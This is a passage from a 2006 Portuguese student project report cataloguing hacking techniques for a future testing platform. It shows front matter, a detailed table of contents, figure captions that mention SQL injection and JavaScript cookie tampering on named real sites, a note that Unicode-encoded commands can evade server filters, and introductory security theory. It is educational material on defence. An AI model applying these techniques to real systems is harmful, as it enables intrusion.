240
DEPARTAMENTO DE ENGENHARIA INFORMÁTICA Projecto Informático I 2005/2006 Engenharia Informática 3.º ANO regime Diurno Projecto de informática I Plataforma de testes para ferramentas de hacking Documentação teórica das técnicas Documento elaborado por: Ricardo Cordeiro Tomás, Aluno n.º 12408 Mónica Ferreira Molina Ramos, Aluna n.º 12834 Setembro/2006

relatorio de projecto-Documentação teórica das técnicas de hacking

Embed Size (px)

Citation preview

Page 1: relatorio de projecto-Documentação teórica das técnicas de hacking

DEPARTAMENTO DE ENGENHARIA INFORMÁTICA

Projecto Informático I

2005/2006

Engenharia Informática

3.º ANO regime Diurno

Projecto de informática I

Plataforma de testes para ferramentas de hacking –

Documentação teórica das técnicas

Documento elaborado por:

Ricardo Cordeiro Tomás, Aluno n.º 12408

Mónica Ferreira Molina Ramos, Aluna n.º 12834

Setembro/2006

Page 2: relatorio de projecto-Documentação teórica das técnicas de hacking

2

Identificação

Organização

Escola Superior de Tecnologia e Gestão de Leiria

Título do Projecto

Plataforma de testes para ferramentas de hacking – Documentação teórica das

técnicas

Autores

Ricardo Cordeiro Tomás

Mónica Ferreira Molina Ramos

Orientador

Rolando Lúcio Germano Miragaia

Área Científica

Segurança em Redes de Comunicação

Data

Setembro de 2006

Page 3: relatorio de projecto-Documentação teórica das técnicas de hacking

3

Considerações

Quando foram lançadas as propostas de projecto vimos várias que nos agradaram, mas

ficamos interessados nesta proposta, que escolhemos porque abrange uma área pouco

abordada no curso e que nos desperta muito interesse.

Infelizmente quando vimos o objectivo que estava na proposta, que é de desenvolver

uma plataforma que simule os ataques que são efectuados contra um sistema real vimos

que não podíamos escolher o projecto porque não tínhamos conhecimentos nesta área

que nos permitisses desenvolver tal plataforma.

Fomos falar com o docente que faz a proposta, Carlos Rabadão, para saber se podíamos

escolher o projecto mas definir objectivos diferentes do proposto.

Decidimos tentar ficar com este projecto e conseguimos. Depois de reunir com o nosso

orientador ficou decidido que o objectivo principal era fazer a documentação dos

diferentes tipos de ataques que podem ser efectuados contra um sistema para que o

próximo grupo que escolhe-se este projecto pudesse iniciar a criação da plataforma de

simulação sem ter de perder muito tempo a fazer pesquisas online e em livros.

Durante o mês de Agosto começamos a tentar arranjar computadores para montar um

cenário de teste real, em vez de uma plataforma de teste, para criar vídeos a explicar

como é que as ferramentas que encontramos funcionavam para que fosse possível ao

próximo grupo compreender o que é que tinha de ser feito para simular um ataque.

Infelizmente não foi possível avançar com esta ideia porque não é permitido o uso de

ferramentas de hacking na rede da escola e não conseguimos autorização para utilizar a

sala LRSC onde pretendíamos configurar uma rede e colocar computadores a fornecer

os serviços essenciais como servidor DHCP, servidor de e-mail, servidor FTP, etc.

Como não tivemos oportunidade para criar um sistema físico a simular uma rede

ethernet e wireless decidimos avançar com mais uma fase de pesquisa. Esta fase de

pesquisa consistiu em procurar recursos multimédia, vídeos e apresentações em

PowerPoint e flash, de demonstrações de ataques e da utilização de algumas

ferramentas.

Page 4: relatorio de projecto-Documentação teórica das técnicas de hacking

4

Índice

1 Introdução ......................................................................................... 15

2 Enquadramento ................................................................................ 17

3 Noções gerais ..................................................................................... 18

3.1 Princípios da segurança e tipos de ataques ................................................ 18

3.1.1 Classificação dos tipos de ataques ......................................................................... 20

3.2 Representação de caracteres ........................................................................ 21

3.2.1 Padrão de codificação ASCII ................................................................................ 21

3.2.2 Padrão de codificação Unicode ............................................................................. 25

3.3 Registo do Windows ...................................................................................... 26

3.4 Ponteiro para funções em C ......................................................................... 31

3.5 Modelos de transmissão de dados em rede ................................................. 33

3.5.1 Modelo OSI ........................................................................................................... 34

3.5.2 Modelo TCP/IP ..................................................................................................... 38

3.6 Usar o google para pesquisas avançadas .................................................... 41

4 NetBios ............................................................................................... 51

5 Vírus ................................................................................................... 54

5.1 Vírus tradicionais .......................................................................................... 54

5.2 Worms ............................................................................................................ 55

6 Segurança e confidencialidade de dados ........................................ 57

6.1 Criptografia ................................................................................................... 57

6.1.1 Criptografia simétrica ............................................................................................ 58

6.1.2 Criptografia assimétrica ........................................................................................ 59

6.1.3 Funções de Hash ou resumo da mensagem ........................................................... 61

6.1.4 Assinatura digital ................................................................................................... 62

6.1.5 Certificados digitais ............................................................................................... 63

6.2 Estenografia ................................................................................................... 64

6.3 Ataques a algoritmos criptográficos ........................................................... 66

7 Footprinting e Scanning ................................................................... 68

8 Buffer Overflow ................................................................................ 79

Page 5: relatorio de projecto-Documentação teórica das técnicas de hacking

5

8.1 Tipos de Buffer overflow .............................................................................. 79

8.1.1 Stack overflows ..................................................................................................... 79

8.1.2 Format String overflows ........................................................................................ 83

8.1.3 Heap/BSS/Data Overflows .................................................................................... 83

8.1.4 Overflow de números inteiros ............................................................................... 83

9 Spoofing ............................................................................................. 86

9.1 IP spoofing ..................................................................................................... 86

9.2 ARP spoofing ................................................................................................. 88

9.3 DNS Spoofing ................................................................................................ 91

9.4 MAC Spoofing ............................................................................................... 97

10 Negação de serviço (DOS) ................................................................ 98

10.1 Tipos de ataques de negação de serviço ................................................ 100

10.1.1 Consumo de largura de banda ......................................................................... 100

10.1.2 Falta de recursos (Resource starvation) .......................................................... 102

10.1.3 Falhas na programação.................................................................................... 103

10.1.4 Ataques de DOS distribuídos .......................................................................... 106

11 Validação de Input.......................................................................... 110

11.1 Tipos de ataques ...................................................................................... 111

11.1.1 Injecção de código SQL .................................................................................. 111

11.1.2 Injecção de código Javascript ......................................................................... 113

11.1.3 Injecção de código PHP .................................................................................. 116

11.1.4 Format string ................................................................................................... 117

12 Roubo da propriedade intelectual ................................................. 120

12.1 Tipos de ataques ...................................................................................... 120

12.1.1 Trojans ............................................................................................................ 120

12.1.2 Rootkits ........................................................................................................... 125

12.1.3 Backdoors ....................................................................................................... 126

12.1.4 Bots e Botnets ................................................................................................. 126

12.1.5 Sniffing ........................................................................................................... 126

12.1.6 Adware ............................................................................................................ 130

12.1.7 Ransonware ..................................................................................................... 131

12.1.8 Spyware........................................................................................................... 131

Page 6: relatorio de projecto-Documentação teórica das técnicas de hacking

6

12.1.9 Hijackers ......................................................................................................... 132

13 Esconder a identidade .................................................................... 133

13.1 Métodos para esconder a identidade ..................................................... 133

13.1.1 Servidores Proxy ............................................................................................. 133

13.1.2 Proxy Bouncing .............................................................................................. 135

14 Engenharia social ............................................................................ 138

14.1 Tipos de ataques ...................................................................................... 139

14.1.1 Impersonalização ............................................................................................ 139

14.1.2 Intimidação ..................................................................................................... 140

14.1.3 Engenharia social com presença física do atacante ......................................... 140

14.1.4 Phishing........................................................................................................... 140

14.1.5 Pharming ......................................................................................................... 142

15 Descobrir Passwords ...................................................................... 145

15.1 Técnicas usadas para descobrir password’s ......................................... 145

15.1.1 Adivinhar a Password ..................................................................................... 145

15.1.2 Passwords por defeito ..................................................................................... 146

15.1.3 Ataques baseados em dicionários de palavras ................................................ 146

15.1.4 Ataques de força bruta .................................................................................... 147

15.1.5 Keyloggers ...................................................................................................... 148

15.2 Password’s de aplicações ........................................................................ 150

15.3 Password’s do Windows ......................................................................... 151

15.4 Password’s de Linux\Unix ...................................................................... 151

16 Sistemas Wireless ............................................................................ 153

16.1 Ataques a sistemas wireless .................................................................... 155

16.1.1 Ataques a sistemas Bluetooth ......................................................................... 155

16.1.2 Ataques ao mecanismo de segurança WEP .................................................... 156

16.1.3 Sniffing ........................................................................................................... 156

16.1.4 Man-in-the-middle .......................................................................................... 157

16.1.5 Host Routing ................................................................................................... 157

16.1.6 Negação de serviço ......................................................................................... 157

17 Ferramentas de protecção e detecção de ataques ....................... 159

Page 7: relatorio de projecto-Documentação teórica das técnicas de hacking

7

17.1 Sistemas de detecção de ataques ............................................................ 159

17.2 Firewalls ................................................................................................... 160

17.3 Honeypots ................................................................................................ 162

18 Conclusão ........................................................................................ 165

18.1 Objectivos realizados .............................................................................. 165

18.2 Outros trabalhos realizados ................................................................... 165

18.3 Trabalho a desenvolver no futuro ......................................................... 166

18.4 Apreciação final ...................................................................................... 167

19 Bibliografia ...................................................................................... 168

20 Anexos .............................................................................................. 174

A. Tipos de Hackers ................................................................................................ 174

B. Hacker’s mais famosos ....................................................................................... 179

C. Acontecimentos mais marcantes na historia do hacking ................................ 181

D. Historia dos vírus informáticos ......................................................................... 184

E. Legislação sobre informática ............................................................................. 191

F. Vídeos em anexo .................................................................................................. 203

G. Ferramentas em anexo ....................................................................................... 207

H. Glossário .............................................................................................................. 228

Page 8: relatorio de projecto-Documentação teórica das técnicas de hacking

8

Índice de figuras e tabelas

Imagem 1 – Tabela ASCII ............................................................................................... 23

Imagem 2 – Extensão da tabela ASCII ............................................................................ 24

Imagem 3 – Editor de Registo do Windows (raiz do registo) ......................................... 27

Imagem 4 – Editor de registo do Windows (HKEY_LOCAL_MACHINE) ..................... 28

Imagem 5- esquema a representar o modelo OSI ........................................................... 34

Imagem 6 - correspondência entre as camadas do modelo OSI e nome da unidade de

dados. .............................................................................................................................. 36

Imagem 7 - Esquema a representar a unidade de dados nas várias camada ................... 37

Imagem 8 – Esquema a ilustrar a informação protocolar que está adicionada aos dados

em cada camada .............................................................................................................. 38

Imagem 9 – Esquema que representa as camadas do modelo TCP/IP ........................... 40

Imagem 10 – Esquema que representa a correspondência entre o modelo OSI e TCP/IP.

........................................................................................................................................ 41

Imagem 11 – Exemplo de utilização do operador “+” na pesquisa do google ............... 42

Imagem 12 - Exemplo de utilização do operador “-” na pesquisa do google ................. 43

Imagem 13 - Exemplo de utilização do operador aspas (“”) na pesquisa do google ...... 44

Imagem 14 - Exemplo de utilização do operador aspas ~ na pesquisa do google .......... 45

Imagem 15 - Exemplo de utilização do operador site na pesquisa do google ................ 45

Imagem 16 - Exemplo de utilização do operador “intitle” na pesquisa do google ......... 46

Imagem 17 - Exemplo de utilização do operador “inurl” na pesquisa do google .......... 47

Imagem 18 - Exemplo de utilização do operador “link” na pesquisa do google ............ 47

Imagem 19 - Exemplo de utilização do operador “cache” na pesquisa do google ......... 48

Imagem 20 - Exemplo de utilização do operador “related” na pesquisa do google ....... 49

Imagem 21 - Exemplo de utilização do operador “define” na pesquisa do google ........ 50

Imagem 22 - Exemplo de utilização do operador “filetype” na pesquisa do google ...... 50

Imagem 23 – Listagem de informações do computador usando o comando netstat ...... 52

Imagem 24 – Execução do comando “nbtstat –n” para saber se a partilha de pastas e

impressoras está activa. ................................................................................................... 52

Imagem 25 – Esquema de comunicação com cifra simétrica ......................................... 59

Imagem 26 – esquema de comunicação com cifra assimétrica ...................................... 60

Imagem 27 – esquema de comunicação com cifra assimétrica ...................................... 61

Page 9: relatorio de projecto-Documentação teórica das técnicas de hacking

9

Imagem 28 – Esquema da aplicação de uma função de hash ......................................... 62

Imagem 29 – funcionamento da assinatura digital ......................................................... 63

Imagem 30 – Alguma da informação do certificado Digital da página

“www.mail2web.com”. .................................................................................................... 64

Imagem 31 – Programa Steganography que possui a funcionalidade de estenografar

dados. .............................................................................................................................. 65

Imagem 32 – Printscreen do nível de detalhe apresentado numa pesquisa no google

maps. É possível obter uma imagem nítida de um edifício. ........................................... 69

Imagem 33 – Printscren de uma ferramenta que permite efectuar consulta para saber

informação de domínios web. ......................................................................................... 69

Imagem 34 – listagem dos saltos ate atingir o endereço IP pretendido .......................... 70

Imagem 35 – Printscreen da aplicação neoTrace com a localização geográfica do

servidor da cnn. ............................................................................................................... 71

Imagem 36 – Printscreen da janela de resultados devolvida pelo Superscan 4 quando

verifica os computadores ligados á rede e as portas abertas nestes. ............................... 72

Imagem 37 – Janela de configuração e apresentação de resultados da aplicação

Winfingerprint. ................................................................................................................ 73

Imagem 38 – Listagem das pastas partilhadas da máquina 192.168.246.30 .................. 74

Imagem 39 – Ligação remota a um computador. ........................................................... 75

Imagem 40 – Printscreen a mostrar a informação devolvida pelo browser ................... 76

Imagem 41 – Printscreen de uma ligação Telnet ao servidor de e-mail. ........................ 76

Imagem 42- Informação da versão do Web server ......................................................... 77

Imagem 43 – Uso do comando Nmap para descobrir a versão do sistema operativo ..... 77

Imagem 44 – Representação de uma estrutura LIFO ..................................................... 81

Imagem 45 – representação da pilha de um processo. .................................................... 81

Imagem 46 – esquema a representar o funcionamento do IP Spoofing .......................... 87

Imagem 47 – esquema de ligações antes de ocorrer ARP Spoofing ............................... 90

Imagem 48 - esquema de ligações depois de ocorrer ARP Spoofing .............................. 90

Imagem 49 – O atacante faz um pedido de resolução ao servidor DNS da vítima ......... 93

Imagem 50 – O servidor de DNS da vítima envia um pedido de resolução ao servidor

DNS do atacante para resolver o IP do site do atacante. ................................................. 93

Imagem 51 – O servidor DNS do atacante efectua uma “Zone Transfer” para o servidor

de DNS da vítima. ........................................................................................................... 93

Page 10: relatorio de projecto-Documentação teórica das técnicas de hacking

10

Imagem 52 – O servidor DNS da vítima pede o site do atacante depois de consultar a

cache e saber qual o valor do IP do site. ........................................................................ 94

Imagem 53 – Neste exemplo o atacante usa um sniffer para capturar o ID do pacote e

responde á vítima com um IP falso mas com o ID correcto. .......................................... 95

Imagem 54 – DNS spoofing baseado no paradoxo do aniversário ................................. 96

Imagem 55 – Programa SMAC versão 2.0. .................................................................... 98

Imagem 56 – Exemplo de um ping com 35 000 bytes de tamanho .............................. 101

Imagem 57 – Representação de um ataque DDoS ........................................................ 107

Imagem 58 – mostrar os elementos na categoria portáteis na página “www.chip.pt” .. 112

Imagem 59 – página “www.chip7.pt” com SQL injectado na barra de endereço. ........ 113

Imagem 60 – Cookies presentes na página www.orelhas.pt ......................................... 114

Imagem 61 – Adicionar um cookie á página com javascript. ...................................... 114

Imagem 62 – Confirmação de que o cookie foi inserido. ............................................. 115

Imagem 63 – Ferramenta NetBus versão 2.01 Pro ....................................................... 122

Imagem 64- Printscreen do resultado do comando “netstat -n” .................................. 123

Imagem 65 – Listagem das portas com ligação estabelecida ou a espera de ligação ... 123

Imagem 66 – Comunicação entre dois computadores numa rede ethernet .................. 127

Imagem 67 – Ferramenta ethereal versão 0.99.0 .......................................................... 128

Imagem 68 – Exemplo de comunicação ponto-a-ponto numa rede switch. ................. 129

Imagem 69 – Screenshot da página “proxyfy.com” que permite navegar anonimamente

na web. .......................................................................................................................... 134

Imagem 70 – Screenshot do servidor proxy “Your-Freedom” que permite o uso de

aplicações bloqueadas na rede e que se navegue sem restrições na Internet. ............... 135

Imagem 71 – Screenshot da janela para fazer a autenticação no Gatekeeper. São

necessários privilégios de administração para correr a aplicação. ................................ 136

Imagem 72 – Screenshot da aplicaçao que permite configurar o Wingate. .................. 137

Imagem 73 – Esquema a representar como o atacante consegue evitar os sistemas de

protecção enganando um empregado da organização. .................................................. 139

Imagem 74 – printscreen do e-mail que a vítima recebe. ............................................. 141

Imagem 75 – Printscreen da página para onde a vítima é reencaminhada ao carregar no

link que é indicado no e-mail. ....................................................................................... 142

Imagem 76 - Configuração do ficheiro hosts. ............................................................... 143

Imagem 77 – Configuração do ficheiro Host alterado. O endereço IP colocado para o

google não é o correcto (é o endereço de www.MSN.com) ........................................... 143

Page 11: relatorio de projecto-Documentação teórica das técnicas de hacking

11

Imagem 78 – A aplicação LC5 permite carregar vários dicionários para serem testados.

...................................................................................................................................... 147

Imagem 79 – LC5 usado para um ataque de força bruta para descobrir o login do

Windows. ....................................................................................................................... 148

Imagem 80 – Screenshot do keylogger “Best Free Keylogger”. .................................. 149

Imagem 81 – Fotografia de um computador sem o Keylogger por hardware instalado e

com o keylogger por hardware instalado. .................................................................... 150

Imagem 82 – Ligação wireless no modo Ad-Hoc ......................................................... 153

Imagem 83 – Ligação wireless no modo infra-estrutura .............................................. 154

Imagem 84 – Screenshot a mostrar o funcionamento do NetStumbler. ........................ 155

Imagem 85 – Screenshot da aplicação IDSCenter que fornece um interface gráfico para

o Snort. .......................................................................................................................... 159

Imagem 86 – Exemplo de colocação de uma firewall por hardware na rede. ............. 161

Imagem 87 – screenshot da aplicação Send-Safe Honeypot Hunter ............................ 163

Imagem 88 – Este esquema mostra a criação de uma rede falsa (Honeynet) com 3

computadores. ............................................................................................................... 164

Page 12: relatorio de projecto-Documentação teórica das técnicas de hacking

12

Chave de abreviaturas e siglas

Siglas Descrição

3DES Triple Data Encryption Standard

AP Access Point

API Application Programming Interface

ARP Address Resolution Protocol

ASCII American Standard Code for Information Interchange

ASP Active Server Pages (web-scripting interface da Microsoft)

CGI Common Gateway Interface

DDoS Negação de serviço distribuído (Distributed denial of service)

DES Data Encryption Standard

DNS Domain Name System

DoS Negação de serviço (Denial of service)

EAPOL Extensible Authentication Protocol Over Lan

EBP Extended Base Pointer

ECC Elliptic Curve Cryptography

EIP Extended instruction pointer

FIFO First In First Out

FTP File Transfer Protocol

FTPS File Transfer Protocol over Ssl

HKCC HKEY_CURRENT_CONFIG (Registo doWindows)

HKCR HKEY_CLASSES_ROOT (Registo doWindows)

HKCU HKEY_CURRENT_USER (Registo doWindows)

HKLM HKEY_LOCAL_MACHINE (Registo doWindows)

HKU HKEY_USERS (Registo doWindows)

HTTP HyperText Transport (or Transfer) Protocol

HTTPS HyperText Transport (or Transfer) Protocol Secure

ICMP Internet Control Message Protocol

ID Identification number

IDEA International Data Encryption Algorithm

IDS Intrusion Detection System

IMAP Internet Message Access Protocol

Page 13: relatorio de projecto-Documentação teórica das técnicas de hacking

13

IP Protocolo de Internet (Internet Protocol)

IPSec Internet Protocol SECurity

IRC Internet Relay Chat

ISN Initial Sequence Number

ISP Internet Service Provider, Interrupt Stack Pointer

LAN Local Area Network

LIFO Last In First Out

LLC Logical Link Control

LRSC Laboratório de Redes e Sistemas de Comunicação (Sala 0.1 edifício A)

MAC Media Access Control, Message Authentication Code

MD5 Message Digest 5

NetBEUI NETwork Bios Extended User Interface

OSI Open Systems Interconnection

PDU Protocol (ou Packet) data unit

PHP Hypertext Preprocessor

POP3 Post Office Protocol 3

PPP Point to Point Protocol

RET Return Address

RFC Request for Comments

RIR Regional Internet Registry

RPC Remote Procedure Call

RSA Rivest-Shamir-Adleman

SCSI Small Computers System Interface

SFP Stack Frame Pointer

SHA-1 The Secure Hash Algorithm version 1

SLIP Serial Line Internet Protocol

SMTP Simple Mail Transfer Protocol

SNMP Simple Network Management Protocol

SQL Structured Query Language (linguagem de consulta em Bases de dados)

SSH Secure Shell

TCP Transmission Control Protocol

TCP/IP Transmission Control Protocol/Internet Protocol

TELNET Network Virtual Terminal Protocol

Page 14: relatorio de projecto-Documentação teórica das técnicas de hacking

14

TFTP Trivial File Transfer Protocol

TTL Time To Live

UDP User Datagram Protocol

URL Universal Resource Locator

VPN Virtual Private Network

WAN Wide Area Network

WEP Wired Equivalent Privacy

WLAN Wireless Local Area Network

WPA Wi-Fi Protected Access

WPA2 Wi-Fi Protected Access 2

Page 15: relatorio de projecto-Documentação teórica das técnicas de hacking

15

1 Introdução

Com o aparecimento das tecnologias nomeadamente das tecnologias de informação, a

rápida comunicação entre as várias civilizações existentes tornou-se possível. Pessoas

em várias partes do planeta passaram a ter possibilidades de comunicar com outras

pessoas em qualquer parte do mundo. As traduções e os aspectos culturas das nações

passaram a ser conhecidos e por vezes adoptados por outras nações graças a tecnologia

que permite a todos estar mais perto de outros povos geograficamente longínquos

eliminando assim as barreiras da distância.

Com o decorrer dos anos as tecnologias e os meios de comunicação evoluíram. O

aparecimento do telefone foi um dos primeiros passos para provocar uma “explosão” de

desenvolvimento.

Depois do desenvolvimento e evolução dos computadores, assim como o aumento da

sua utilização, tornou-se crucial estabelecer um meio de comunicação entre eles. As

organizações passaram a sentir necessidade de usar computadores para se modernizar.

Para resolver as necessidades foram desenvolvidas as redes informáticas que ao longo

dos anos cresceram a nível mundial.

As tecnologias despertam a curiosidade de utilizadores de diversas faixas etárias mas

principalmente a dos jovens. Este interesse leva a que os mais curiosos investigarem e

estudarem o funcionamento das máquinas, dos sistemas operativos, das redes, e de

vários outros meios tecnológicos e por vezes chegam a fazer alterações desses ou ate

mesmo a infiltrarem-se em sistemas privados. Estes utilizadores são denominados de

hackers.

O impacto das tecnologias e principalmente da Internet trouxe aspectos positivos e

negativos. Se por um lado tornou a comunicação mais rápida e o acesso à informação

mais simples e proporcionou o progresso das empresas, por outro lado passou a ser

considerado um risco para quem tem computadores ligados a ela, uma vez que alguns

atacantes podem não ser apenas curiosos e tenham como objectivos causar danos.

È extremamente importante assegurar a segurança da rede e do meio de informação

empregues nos sistemas de forma a manter a integridade e a segurança dos dados que

devem ser mantidos confidenciais.

Para combater a insegurança dos dados num sistema é importante que os

administradores pensem como hacker. È necessário efectuarem um estudo detalhado das

Page 16: relatorio de projecto-Documentação teórica das técnicas de hacking

16

vulnerabilidades existentes no software e hardware, assim como nos protocolos usados.

Outro factor importante para saber como proteger um sistema, é saber como ataca-lo,

através da investigação de informação sobre os vários tipos de ataques e na recolha e

estudo de ferramentas existentes para cada tipo de ataque.

Infelizmente o desenvolvimento dos tipos de ataques e das ferramentas utilizadas

crescem de acordo com o desenvolvimento das técnicas criadas para proteger os

sistemas. Portanto, nos nossos dias e nos próximos anos não será possível saber de um

sistema está realmente seguro ou não.

Page 17: relatorio de projecto-Documentação teórica das técnicas de hacking

17

2 Enquadramento

Este relatório tem por objectivo fazer com que o leitor fique a conhecer os

acontecimentos que marcaram a historia do “Hacking” e quais as técnicas que são

usadas para atacar um sistema.

Os termos “Hacking” e “Hacker” já eram usados antes do surgimento dos computadores

para descrever as pessoas que eram interessadas em estudar sempre mais e em explorar

os limites existente para os quebrar. Estes termos actualmente são usados apenas na área

da informática e o seu significado foi deturpado pela imprensa que passou a usa-lo para

designar todos os utilizadores que tenham um conhecimento de computadores acima da

média e que façam uso desse conhecimento quer para o bem quer para o mal.

Em anexo são descritos os tipos de “Hacker’s” para deixar bem explicita a diferença

entre estes para que o leitor se aperceba da diferença e note que um verdadeiro

“Hacker” é movido pela curiosidade e vontade de aprender e que não tem por objectivo

causar prejuízos.

Se o leitor for curioso pode procurar a informação que se encontrar em anexo sobre os

“Hacker’s” mais famosos, os acontecimentos que fizeram noticia e a legislação

portuguesa que se aplica á informática.

Aconselhamos uma leitura muito atenta ao capítulo sobre a legislação para que o leitor

tenha consciência do que pode ou não fazer antes de colocar em prática o que é

ensinado no relatório.

Para que o leitor consiga perceber o que é explicado no relatório este começa com um

capítulo com noções teóricas necessárias para a compreensão da informação contida nos

restantes capítulos.

Depois de uma leitura completa ao relatório o leitor vai ficar a conhecer quais as

técnicas usadas actualmente para explorar um sistema e algumas das ferramentas que

são usadas para adquirir informação de um sistema ou atacá-lo.

Page 18: relatorio de projecto-Documentação teórica das técnicas de hacking

18

3 Noções gerais

3.1 Princípios da segurança e tipos de ataques

A segurança de uma organização, aplicação, sistema, está em conseguir encontrar um

equilíbrio entre o nível de acesso e de segurança necessária. Como se sabe qualquer

sistema que tenha de estar ligado á rede está sempre sujeito a ataques, mas permite que

se aceda á informação facilmente. Por outro lado num sistema isolado da rede com

vários níveis de acesso (analise de voz, de retina, código de acesso, etc.) a segurança é

muito maior mas é muito difícil aceder á informação.

Assim cada empresa tem de encontrar a relação entre o nível de segurança que tem de

garantir, para proteger o seu sistema e a sua informação, e o nível de acesso mínimo que

precisa de fornecer.

A segurança na informação tem três objectivos:

Garantir a confidencialidade da informação, ou seja, garantir que a informação

apenas se encontra disponível a quem está autorizado a aceder-lhe. A

confidencialidade pode ser garantida fisicamente ou virtualmente. A primeira

pode ser garantida com recurso a fechaduras, guardas, vedações, etc. A segunda

pode ser garantida com recurso a passwords, encriptação, firewall’s, etc.

Virtualmente é necessário que a informação esteja protegida quando se encontra

armazenada num dispositivo ou quando está a circular na rede.

Garantir a integridade da informação, ou seja, garantir que quando alguém que

possui autorização para aceder aos dados acede a este na sua forma original.

Garantir a integridade da informação consiste em garantir que os dados não são

alterados enquanto estão armazenados num dispositivo nem enquanto circulam

na rede. Para garantir a integridade dos dados é utilizada informação redundante.

Garantir a disponibilidade da informação, ou seja, garantir que quem tem

autorização para aceder á informação consegue aceder a esta quando necessita.

Para tal é necessário que os recursos onde a informação se encontra estejam

igualmente disponíveis. Quando se pretende garantir a disponibilidade da

informação é necessário garantir que caso ocorra algum desastre existe um

Page 19: relatorio de projecto-Documentação teórica das técnicas de hacking

19

backup ao qual se pode continuar a aceder e que o tempo de recuperação seja

muito rápido. É necessário também garantir que caso o sistema seja vítima de

um ataque de negação de serviço continue a garantir acesso aos utilizadores

legítimos.

Anteriormente foram vistos os objectivos de segurança da informação que tem de ser

compridos para que quem tem autorização para aceder a esta o consiga fazer e tenha

garantias que está a aceder a informação correcta.

Para garantir que quem está a aceder aos dados tem privilégios para tal e para que não

possa negar as suas acções é necessário garantir:

Autenticação de quem pretende aceder á informação, ou seja, assegurar que

quem pretende aceder a esta tem uma forma de garantir a sua identidade para

comprovar que tem autorização para lhe aceder.

Controlar o acesso, ou seja, garantir que quem tenha acesso á informação ou

recursos apenas consegue aceder aos dados que tem privilégio.

Não repudio, ou seja, capacidade de garantir que quem acedeu á informação ou

recursos não consiga negar a sua acção.

A autenticação e o controlo de acesso podem ser feito com recurso a password’s, smart

card’s, sistemas biométricos, listas de acesso, firewall’s, etc.

Caso se pretenda garantir simultaneamente a autenticação, controlar o acesso e

assegurar o não repudio, podem ser usadas assinaturas digitais ou certificação

(envolvimento de uma terceira entidade que garante a autenticação) de quem pretende

aceder á informação.

A política de segurança implementada numa empresa tem de ser capaz de prevenir a

ocorrência de um ataque. Esta também deve ser capaz de fornecer garantias de

recuperação no caso de um ataque ser bem sucedido para que os utilizadores que tem

direito a aceder á informação ou recursos não sejam prejudicados. Deve também

assegurar uma possível detecção da identidade do atacante e do método usado por este.

Qualquer que seja a política de segurança escolhida, é necessário ter em conta que o

custo da sua implementação deve ser menor que o custo de recuperação de um ataque

bem sucedido.

Page 20: relatorio de projecto-Documentação teórica das técnicas de hacking

20

3.1.1 Classificação dos tipos de ataques

A política de segurança implementada deve proteger o sistema dos vários tipos de

ataques. Estes podem ser classificados:

Em função das alterações que fazem aos dados, podem ser classificados de:

Activos. Este tipo de ataques envolve a inserção de informação, a remoção de

informação ou a alteração da informação existente, armazenada ou a ser circular

na rede.

Passivos (snooping). É um ataque á confidencialidade dos dados visto que

consiste em conseguir aceder a informação que o atacante não tem acesso. O

Sniffing pertence a este tipo de ataques.

Em função da forma como o ataque é realizado, podem ser classificados de:

Escuta: As ferramentas de sniffing permitem fazer este tipo de ataque á

informação que circula na rede uma vez que apenas escutam toda a informação

que circula nesta. Alguns exemplos de sniffers são ethereal, Dsniff, Ethercap,

etc.

Bloqueio: Este tipo de ataque destina-se a impedir o acesso a informação ou

recursos. Os ataques de negação de serviço e de negação de serviço distribuído

(Syn flood, Smurf, etc.), os ataques de email bombing, os vírus, etc. enquadram-

se nesta categoria. Ainda se enquadram nesta categoria os ataques físicos ao

sistema, como o corte de cabos, corte de fornecimento de luz, inundações, fogo,

furacões, etc.

Desvio (Hijacking): Este é um ataque á autenticidade, uma vez que o atacante

assume a identidade de alguém que tem acesso a informação para conseguir

aceder a esta. Alguns dos ataques mais comuns de desvio são o IP spoofing,

DNS spoofing, ARP Spoofing, etc.

Modificação: Este é um ataque á integridade da informação. Quando é realizado

numa rede tem o nome de Man-in-The-Midle. Este consiste no atacante fazer de

intermediário na troca de informação entre o receptor e emissor, o que lhe

permite alterar, fabricar ou ver os dados que estão a ser trocados.

Page 21: relatorio de projecto-Documentação teórica das técnicas de hacking

21

3.2 Representação de caracteres

Todos os computadores trabalham com números. Dessa forma, tornou-se necessário

designar números para representar letras e outros caracteres de forma a ser possível

grava-los na memória.

Ao contrário dos números inteiros, os caracteres tem um domínio finito, tornando

possível a representação de cada carácter através de um número.

Antes do aparecimento de padrões de representação de caracteres cada sistema

computacional tinha uma forma particular de os representar, dificultando a comunicação

entre os computadores de diferentes fabricantes.

Desta forma foi proposta uma representação comum de caracteres (padrão), para que as

dificuldades anteriores fossem minimizadas, permitindo a comunicação entre

computadores de fabricantes distintos.

Os padrões de representação tem de incluir a gama dos caracteres que se podem

imprimir no ecrã, os caracteres de controlo, os caracteres usados na comunicação, etc.

Existem dois padrões de codificação mais usados, o padrão ASCII e o padrão

UNICODE. É importante conhecer este último para entender alguns ataques, uma vez

que os servidores têm protecções em relação a execução de determinados comandos

recebidos de uma máquina remota. Uma forma de ultrapassar essa protecção é fornecer

o comando desejado em UNICODE. Desta forma o servidor aceita o comando e o

sistema operativo converte-o para o comando inicial, e executa-o. Em seguida

descrevemos não o padrão UNICODE e o ASCII, uma vez que a sua compreensão é

essencial para a assimilação do padrão UNICODE.

3.2.1 Padrão de codificação ASCII

Robert W. Bermer e sua equipa propuseram-se a desenvolver uma nova forma de

codificação, o “American Standard Code for information interchange” (Código Padrão

Norte-americano para Intercâmbio de Informações), mais conhecido como código

ASCII.

Esta forma de representação é baseada no alfabeto romano. Tem como objectivo

representar letras (maiúsculas e minúsculas), números, acentos, caracteres de controlo,

sinais (por exemplo “(“, “)” e “>”), símbolos gráficos e símbolos matemáticos.

Page 22: relatorio de projecto-Documentação teórica das técnicas de hacking

22

O código ASCII representa cada carácter por um valor resultante da combinação de 7

bits.

O primeiro grupo do código ASCII, que vai do decimal 0 a 31 forma um conjunto de

caracteres especiais de controlo, ou seja, que controlam funções ou equipamentos (como

por exemplo máquinas de escrever electrónicas, folhas de papel perfuradas, etc.). Estes

são usados para controlo de impressão, transmissão e outros objectivos não textuais

como é possível ver na tabela de caracteres especiais de controlo ASCII, por exemplo:

O carácter 24 representa a função cancelar;

O carácter 8 representa a função de retorno determinado pela tecla

<backspace>;

O carácter 27 representa a função “escape” determinada pela tecla

<esc>;

O oitavo bit no padrão de codificação da primeira tabela ASCII (primeira combinação

de bits para a codificação de caracteres do padrão ASCII) é sempre 0, o que significa

que este padrão utilizava apenas metade das combinações possíveis em 8 bits. Assim, o

padrão ASCII usa 7 bits para representar cada carácter, o que permite representar até

128 caracteres.

